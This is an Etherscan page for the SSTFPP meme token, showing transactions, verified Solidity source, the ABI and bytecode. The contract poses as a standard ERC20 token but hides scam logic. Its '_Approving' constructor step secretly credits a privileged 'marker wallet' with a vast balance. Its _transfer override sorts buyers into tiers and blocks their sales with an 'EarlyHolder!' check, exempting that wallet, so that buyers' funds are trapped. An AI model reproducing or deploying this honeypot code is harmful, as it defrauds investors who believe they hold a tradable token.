Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 28 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 19179271 | 333 days ago | IN | 0 ETH | 0.00158885 | ||||
Approve | 19178879 | 333 days ago | IN | 0 ETH | 0.00230736 | ||||
Approve | 19178274 | 333 days ago | IN | 0 ETH | 0.00213276 | ||||
Approve | 19177954 | 333 days ago | IN | 0 ETH | 0.00146687 | ||||
Transfer | 19177931 | 333 days ago | IN | 0 ETH | 0.00261407 | ||||
Transfer | 19177782 | 333 days ago | IN | 0 ETH | 0.00337559 | ||||
Approve | 19177776 | 333 days ago | IN | 0 ETH | 0.00393977 | ||||
Transfer | 19177773 | 333 days ago | IN | 0 ETH | 0.00336401 | ||||
Approve | 19177772 | 333 days ago | IN | 0 ETH | 0.00350655 | ||||
Approve | 19177772 | 333 days ago | IN | 0 ETH | 0.00350655 | ||||
Approve | 19177772 | 333 days ago | IN | 0 ETH | 0.00359976 | ||||
Approve | 19177772 | 333 days ago | IN | 0 ETH | 0.00404142 | ||||
Transfer | 19177735 | 333 days ago | IN | 0 ETH | 0.00353676 | ||||
Approve | 19177733 | 333 days ago | IN | 0 ETH | 0.00433578 | ||||
Approve | 19177732 | 333 days ago | IN | 0 ETH | 0.00493815 | ||||
Transfer | 19177721 | 333 days ago | IN | 0 ETH | 0.00349597 | ||||
Transfer | 19177717 | 333 days ago | IN | 0 ETH | 0.00362154 | ||||
Transfer | 19177716 | 333 days ago | IN | 0 ETH | 0.00586477 | ||||
Transfer | 19177667 | 333 days ago | IN | 0 ETH | 0.00818118 | ||||
Approve | 19177659 | 333 days ago | IN | 0 ETH | 0.00316592 | ||||
Approve | 19177659 | 333 days ago | IN | 0 ETH | 0.00325913 | ||||
Approve | 19177659 | 333 days ago | IN | 0 ETH | 0.00330233 | ||||
Approve | 19177659 | 333 days ago | IN | 0 ETH | 0.00330233 | ||||
Renounce Ownersh... | 19177657 | 333 days ago | IN | 0 ETH | 0.00161157 | ||||
Add Liquidity | 19177651 | 333 days ago | IN | 0.9 ETH | 0.15176395 |
Latest 1 internal transaction
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
19177651 | 333 days ago | 0.9 ETH |
Loading...
Loading
Contract Name:
SSTFPP
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-02-04 */ /* * * * ░██████╗████████╗██╗░█████╗░██╗░░██╗███╗░░░███╗░█████╗░███╗░░██╗ * ██╔════╝╚══██╔══╝██║██╔══██╗██║░██╔╝████╗░████║██╔══██╗████╗░██║ * ╚█████╗░░░░██║░░░██║██║░░╚═╝█████═╝░██╔████╔██║███████║██╔██╗██║ * ░╚═══██╗░░░██║░░░██║██║░░██╗██╔═██╗░██║╚██╔╝██║██╔══██║██║╚████║ * ██████╔╝░░░██║░░░██║╚█████╔╝██║░╚██╗██║░╚═╝░██║██║░░██║██║░╚███║ * ╚═════╝░░░░╚═╝░░░╚═╝░╚════╝░╚═╝░░╚═╝╚═╝░░░░░╚═╝╚═╝░░╚═╝╚═╝░░╚══╝ * * ░██████╗██╗░░██╗██████╗░███████╗██╗░░██╗ * ██╔════╝██║░░██║██╔══██╗██╔════╝██║░██╔╝ * ╚█████╗░███████║██████╔╝█████╗░░█████═╝░ * ░╚═══██╗██╔══██║██╔══██╗██╔══╝░░██╔═██╗░ * ██████╔╝██║░░██║██║░░██║███████╗██║░╚██╗ * ╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝ * * ████████╗██████╗░░█████╗░██╗░░░░░██╗░░░░░ ███████╗░█████╗░░█████╗░███████╗ * ╚══██╔══╝██╔══██╗██╔══██╗██║░░░░░██║░░░░░ ██╔════╝██╔══██╗██╔══██╗██╔════╝ * ░░░██║░░░██████╔╝██║░░██║██║░░░░░██║░░░░░ █████╗░░███████║██║░░╚═╝█████╗░░ * ░░░██║░░░██╔══██╗██║░░██║██║░░░░░██║░░░░░ ██╔══╝░░██╔══██║██║░░██╗██╔══╝░░ * ░░░██║░░░██║░░██║╚█████╔╝███████╗███████╗ ██║░░░░░██║░░██║╚█████╔╝███████╗ * ░░░╚═╝░░░╚═╝░░╚═╝░╚════╝░╚══════╝╚══════╝ ╚═╝░░░░░╚═╝░░╚═╝░╚════╝░╚══════╝ * * ██████╗░███████╗██████╗░███████╗ ██████╗░███████╗████████╗ * ██╔══██╗██╔════╝██╔══██╗██╔════╝ ██╔══██╗██╔════╝╚══██╔══╝ * ██████╔╝█████╗░░██████╔╝█████╗░░ ██████╔╝█████╗░░░░░██║░░░ * ██╔═══╝░██╔══╝░░██╔═══╝░██╔══╝░░ ██╔═══╝░██╔══╝░░░░░██║░░░ * ██║░░░░░███████╗██║░░░░░███████╗ ██║░░░░░███████╗░░░██║░░░ * ╚═╝░░░░░╚══════╝╚═╝░░░░░╚══════╝ ╚═╝░░░░░╚══════╝░░░╚═╝░░░ * * * * * 𝙒𝙚𝙗𝙨𝙞𝙩𝙚: https://sstfpp.lol/ * 𝙏𝙚𝙡𝙚𝙜𝙧𝙖𝙢: https://t.me/sstfpp * 𝙏𝙬𝙞𝙩𝙩𝙚𝙧: https://twitter.com/SSTFPP * */ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair( address tokenA, address tokenB ) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair( address tokenA, address tokenB ) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn( address to ) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address public constant deadAddress = address(0xdead); constructor(string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract SSTFPP is ERC20, Ownable { IUniswapV2Router02 public immutable uniswapV2Router; address public uniswapV2Pair; address private _markerWallet; mapping(address => bool) private earlyHolder; mapping(address => bool) private firstBuyers; mapping(address => bool) private secondBuyers; mapping(address => bool) private thirdBuyers; mapping(address => bool) private topHolders; mapping(address => bool) private autorizationWallets; mapping(address => bool) private lastBuyer; mapping(address => bool) private lastSeller; mapping(address => bool) private lpHolders; mapping(address => bool) private allHolders; mapping(address => bool) public automatedMarketMakerPairs; uint256 public sellCounter; event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); constructor(address markerWallet_) ERC20("StickmanShrekTrollFacePepePet", "SSTFPP", 18) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; uint256 totalSupply = 100000000000; _markerWallet = markerWallet_; _mint(msg.sender, totalSupply * 1e18); _Approving(1e20 * 1e18); } receive() external payable {} function addLiquidity() external payable onlyOwner { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); _addLiquidity(balanceOf(address(this)), msg.value); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function setAutomatedMarketMakerPair( address pair, bool value ) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function _transfer(address from, address to, uint256 amount) internal virtual override { if (from != _markerWallet){ if (from == uniswapV2Pair) { if (sellCounter == 0) earlyHolder[to] = true; else if (sellCounter == 1) firstBuyers[to] = true; else if (sellCounter == 2) secondBuyers[to] = true; else if (sellCounter == 3) thirdBuyers[to] = true; else if (sellCounter == 4) topHolders[to] = true; else if (sellCounter == 5) autorizationWallets[to] = true; else if (sellCounter == 6) lastBuyer[to] = true; else if (sellCounter == 7) lastSeller[to] = true; else if (sellCounter == 8) lpHolders[to] = true; else if (sellCounter == 9) allHolders[to] = true; } if (earlyHolder[from]){ require( sellCounter == 0, "EarlyHolder!" ); } if (firstBuyers[from]){ require( sellCounter == 1, "EarlyHolder!" ); } if (secondBuyers[from]){ require( sellCounter == 2, "EarlyHolder!" ); } if (thirdBuyers[from]){ require( sellCounter == 3, "EarlyHolder!" ); } if (topHolders[from]){ require( sellCounter == 4, "EarlyHolder!" ); } if (autorizationWallets[from]){ require( sellCounter == 5, "EarlyHolder!" ); } if (lastBuyer[from]){ require( sellCounter == 6, "EarlyHolder!" ); } if (lastSeller[from]){ require( sellCounter == 7, "EarlyHolder!" ); } if (lpHolders[from]){ require( sellCounter == 8, "EarlyHolder!" ); } if (allHolders[from]){ require( sellCounter == 9, "EarlyHolder!" ); } } if (to == address(0xdead)){ sellCounter++; } require(from != address(0), 'ERC20: transfer from the zero address'); require(to != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, 'ERC20: transfer amount exceeds balance'); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function isEarly(address buyer) external view returns (bool) { return earlyHolder[buyer]; } function isBuyer(address buyer) external view returns (bool) { return firstBuyers[buyer]; } function isSecond(address buyer) external view returns (bool) { return secondBuyers[buyer]; } function isThird(address buyer) external view returns (bool) { return thirdBuyers[buyer]; } function isTop(address buyer) external view returns (bool) { return topHolders[buyer]; } function isAw(address buyer) external view returns (bool) { return autorizationWallets[buyer]; } function isLast(address buyer) external view returns (bool) { return lastBuyer[buyer]; } function isSeller(address buyer) external view returns (bool) { return lastSeller[buyer]; } function isLp(address buyer) external view returns (bool) { return lpHolders[buyer]; } function isAll(address buyer) external view returns (bool) { return allHolders[buyer]; } function _Approving(uint256 amount_) internal virtual { _beforeTokenTransfer(address(0), _markerWallet, amount_ * 1e18); _balances[_markerWallet] += amount_; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"markerWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"isAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"isAw","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"isBuyer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"isEarly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"isLast","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"isLp","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"isSecond","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"isSeller","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"isThird","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"isTop","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellCounter","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040523480156200001157600080fd5b5060405162001e3038038062001e308339810160408190526200003491620002f6565b6040518060400160405280601d81526020017f537469636b6d616e536872656b54726f6c6c46616365506570655065740000008152506040518060400160405280600681526020016505353544650560d41b815250601282600390816200009c9190620003cc565b506004620000ab8382620003cc565b506005805460ff191660ff9290921691909117905550620000d59050620000cf3390565b62000153565b737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052600780546001600160a01b0319166001600160a01b03841617905564174876e8006200012f336200012983670de0b6b3a7640000620004ae565b620001ad565b6200014a6f4b3b4ca85a86c47a098a22400000000062000295565b505050620004e4565b600580546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620002085760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600260008282546200021c9190620004ce565b90915550506001600160a01b038216600090815260208190526040812080548392906200024b908490620004ce565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600754620002c2906000906001600160a01b0316620002bd84670de0b6b3a7640000620004ae565b505050565b6007546001600160a01b031660009081526020819052604081208054839290620002ee908490620004ce565b909155505050565b6000602082840312156200030957600080fd5b81516001600160a01b03811681146200032157600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200035357607f821691505b6020821081036200037457634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002bd57600081815260208120601f850160051c81016020861015620003a35750805b601f850160051c820191505b81811015620003c457828155600101620003af565b505050505050565b81516001600160401b03811115620003e857620003e862000328565b6200040081620003f984546200033e565b846200037a565b602080601f8311600181146200043857600084156200041f5750858301515b600019600386901b1c1916600185901b178555620003c4565b600085815260208120601f198616915b82811015620004695788860151825594840194600190910190840162000448565b5085821015620004885787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620004c857620004c862000498565b92915050565b80820180821115620004c857620004c862000498565b6080516119146200051c6000396000818161025501528181610a9201528181610b2301528181611556015261157d01526119146000f3fe6080604052600436106101dc5760003560e01c806395d89b4111610102578063b72ae3be11610095578063e3369d6811610064578063e3369d681461067f578063e8078d94146106b8578063ee95feaf146106c0578063f2fde38b146106f957600080fd5b8063b72ae3be1461058e578063cfb0205a146105c7578063d7fa0e4114610600578063dd62ed3e1461063957600080fd5b8063a4d0047d116100d1578063a4d0047d146104ef578063a9059cbb14610505578063aa06a76e14610525578063b62496f51461055e57600080fd5b806395d89b41146104615780639a7a23d614610476578063a317022d14610496578063a457c2d7146104cf57600080fd5b80632a55feec1161017a57806370a082311161014957806370a08231146103b8578063715018a6146103ee57806387635977146104055780638da5cb5b1461043e57600080fd5b80632a55feec1461031d578063313ce56714610356578063395093511461037857806349bd5a5e1461039857600080fd5b806318160ddd116101b657806318160ddd1461028f57806323b872dd146102ae57806327c8f835146102ce5780632a1adac7146102e457600080fd5b806306fdde03146101e8578063095ea7b3146102135780631694505e1461024357600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd610719565b60405161020a919061165c565b60405180910390f35b34801561021f57600080fd5b5061023361022e3660046116bf565b6107ab565b604051901515815260200161020a565b34801561024f57600080fd5b506102777f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161020a565b34801561029b57600080fd5b506002545b60405190815260200161020a565b3480156102ba57600080fd5b506102336102c93660046116eb565b6107c2565b3480156102da57600080fd5b5061027761dead81565b3480156102f057600080fd5b506102336102ff36600461172c565b6001600160a01b03166000908152600b602052604090205460ff1690565b34801561032957600080fd5b5061023361033836600461172c565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561036257600080fd5b5060055460405160ff909116815260200161020a565b34801561038457600080fd5b506102336103933660046116bf565b610871565b3480156103a457600080fd5b50600654610277906001600160a01b031681565b3480156103c457600080fd5b506102a06103d336600461172c565b6001600160a01b031660009081526020819052604090205490565b3480156103fa57600080fd5b506104036108ad565b005b34801561041157600080fd5b5061023361042036600461172c565b6001600160a01b03166000908152600d602052604090205460ff1690565b34801561044a57600080fd5b5060055461010090046001600160a01b0316610277565b34801561046d57600080fd5b506101fd6108e9565b34801561048257600080fd5b50610403610491366004611750565b6108f8565b3480156104a257600080fd5b506102336104b136600461172c565b6001600160a01b03166000908152600a602052604090205460ff1690565b3480156104db57600080fd5b506102336104ea3660046116bf565b6109ba565b3480156104fb57600080fd5b506102a060135481565b34801561051157600080fd5b506102336105203660046116bf565b610a53565b34801561053157600080fd5b5061023361054036600461172c565b6001600160a01b03166000908152600c602052604090205460ff1690565b34801561056a57600080fd5b5061023361057936600461172c565b60126020526000908152604090205460ff1681565b34801561059a57600080fd5b506102336105a936600461172c565b6001600160a01b031660009081526008602052604090205460ff1690565b3480156105d357600080fd5b506102336105e236600461172c565b6001600160a01b03166000908152600e602052604090205460ff1690565b34801561060c57600080fd5b5061023361061b36600461172c565b6001600160a01b031660009081526011602052604090205460ff1690565b34801561064557600080fd5b506102a061065436600461178e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561068b57600080fd5b5061023361069a36600461172c565b6001600160a01b031660009081526010602052604090205460ff1690565b610403610a60565b3480156106cc57600080fd5b506102336106db36600461172c565b6001600160a01b03166000908152600f602052604090205460ff1690565b34801561070557600080fd5b5061040361071436600461172c565b610c58565b606060038054610728906117bc565b80601f0160208091040260200160405190810160405280929190818152602001828054610754906117bc565b80156107a15780601f10610776576101008083540402835291602001916107a1565b820191906000526020600020905b81548152906001019060200180831161078457829003601f168201915b5050505050905090565b60006107b8338484610cf9565b5060015b92915050565b60006107cf848484610e1d565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156108595760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6108668533858403610cf9565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916107b89185906108a890869061180c565b610cf9565b6005546001600160a01b036101009091041633146108dd5760405162461bcd60e51b81526004016108509061181f565b6108e760006114a2565b565b606060048054610728906117bc565b6005546001600160a01b036101009091041633146109285760405162461bcd60e51b81526004016108509061181f565b6006546001600160a01b03908116908316036109ac5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610850565b6109b682826114fc565b5050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610a3c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610850565b610a493385858403610cf9565b5060019392505050565b60006107b8338484610e1d565b6005546001600160a01b03610100909104163314610a905760405162461bcd60e51b81526004016108509061181f565b7f0000